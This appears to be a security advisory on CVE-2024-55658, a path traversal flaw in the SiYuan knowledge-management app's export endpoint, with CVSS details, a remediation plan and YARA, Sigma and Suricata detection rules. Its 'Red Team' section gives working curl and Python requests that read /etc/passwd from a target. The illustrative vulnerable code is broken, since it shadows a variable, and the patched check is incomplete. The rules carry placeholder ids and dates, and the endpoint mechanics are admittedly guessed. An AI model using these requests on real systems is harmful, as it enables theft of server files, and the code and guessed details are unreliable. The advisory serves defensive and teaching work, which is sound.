CVE-2024-55658

Executive Summary

CVE-2024-55658 is a critical path traversal vulnerability in SiYuan, a personal knowledge management system. The vulnerability resides in the /api/export/exportResources endpoint, allowing an unauthenticated attacker to read arbitrary files from the host system by manipulating the paths parameter. This can lead to the exfiltration of sensitive data, including configuration files, credentials, and user data. The vulnerability has a CVSS score of 7.5 (High) due to its network exploitability and high confidentiality impact. A patch is available in version 3.1.16.

Supply Chain & Package Security

SiYuan is a self-hosted application, not distributed via NPM, PyPI, Go, or Ruby. However, users should verify the integrity of their SiYuan installation by checking the official GitHub repository for the latest release and ensuring no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable over the network without authentication, making it a high-priority target for attackers.

Deep Dive & Mechanics

The /api/export/exportResources endpoint is designed to export resources from the SiYuan workspace. The vulnerability arises from insufficient sanitization of the paths parameter. An attacker can supply a path traversal sequence (e.g., ../../../etc/passwd) to escape the intended workspace directory and read arbitrary files on the host system.

The endpoint likely constructs a file path by concatenating the workspace root with the user-supplied paths value. Without proper validation, an attacker can traverse directories and access sensitive files.

Example vulnerable request:

POST /api/export/exportResources HTTP/1.1
Host: target-siyuan-instance.com
Content-Type: application/json

{
  "paths": ["../../../etc/passwd"]
}

The server will then read and return the contents of /etc/passwd (or any other file) to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint handler
app.post('/api/export/exportResources', (req, res) => {
  const paths = req.body.paths;
  const workspaceRoot = '/path/to/workspace';
  paths.forEach(path => {
    const fullPath = path.join(workspaceRoot, path);
    // No validation, directly reads file
    const data = fs.readFileSync(fullPath);
    res.write(data);
  });
  res.end();
});

Patched Code (Conceptual):

// Patched endpoint handler
const path = require('path');
app.post('/api/export/exportResources', (req, res) => {
  const paths = req.body.paths;
  const workspaceRoot = '/path/to/workspace';
  paths.forEach(userPath => {
    // Resolve and normalize the path
    const fullPath = path.resolve(workspaceRoot, userPath);
    // Ensure the resolved path is within the workspace
    if (!fullPath.startsWith(workspaceRoot)) {
      return res.status(400).send('Invalid path');
    }
    const data = fs.readFileSync(fullPath);
    res.write(data);
  });
  res.end();
});

The patched version uses path.resolve() to normalize the path and then checks that the resolved path starts with the workspace root, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target SiYanu instance running version < 3.1.16
• Network access to the /api/export/exportResources endpoint

Exploit Steps:

1. Identify the target SiYuan instance.
2. Send a POST request to /api/export/exportResources with a crafted paths array.
3. Retrieve sensitive files.

Example using curl:

curl -X POST http://target-siyuan-instance.com/api/export/exportResources \
  -H "Content-Type: application/json" \
  -d '{"paths": ["../../../etc/passwd"]}'

Example using Python:

import requests

url = "http://target-siyuan-instance.com/api/export/exportResources"
payload = {"paths": ["../../../etc/passwd"]}
response = requests.post(url, json=payload)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /api/export/exportResources with unusual paths parameters containing ../ sequences.
• Alert on any file read attempts outside the expected workspace directory.

Prevention:

• Immediately upgrade to SiYuan version 3.1.16 or later.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the paths parameter.
• Restrict network access to the SiYuan instance to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/export/exportResources with paths containing ../ or absolute paths.
  • Outbound data transfers containing sensitive file contents (e.g., /etc/passwd, configuration files).

• File System IOCs:

  • Unexpected access to files outside the SiYuan workspace directory.
  • Log entries showing file read errors for paths containing traversal sequences.

• Log IOCs:

  • SiYuan application logs showing requests to /api/export/exportResources with suspicious paths values.

Detection Engineering

YARA Rule

rule CVE_2024_55658_SiYuan_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in SiYuan exportResources endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-55658"
    strings:
        $traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $endpoint = "/api/export/exportResources"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: SiYuan Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in SiYuan exportResources endpoint
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55658
logsource:
    category: webserver
    product: siyuan
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/export/exportResources'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of paths with dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55658 SiYuan Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/export/exportResources"; http_uri; content:".."; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SiYuan: Update to version 3.1.16 or later immediately.
2. Apply WAF Rules: Block requests containing path traversal sequences (../, ..\\, URL-encoded variants) in the paths parameter.
3. Network Segmentation: Restrict access to the SiYuan instance to trusted networks only.

Long-term Measures:

1. Input Validation: Implement strict input validation for all user-supplied paths.
2. Least Privilege: Run the SiYuan application with minimal file system permissions.
3. Regular Audits: Conduct periodic security audits and code reviews.
4. Monitor Logs: Enable and monitor detailed logging for suspicious activities.

Valters IT
Securing Digital Frontiers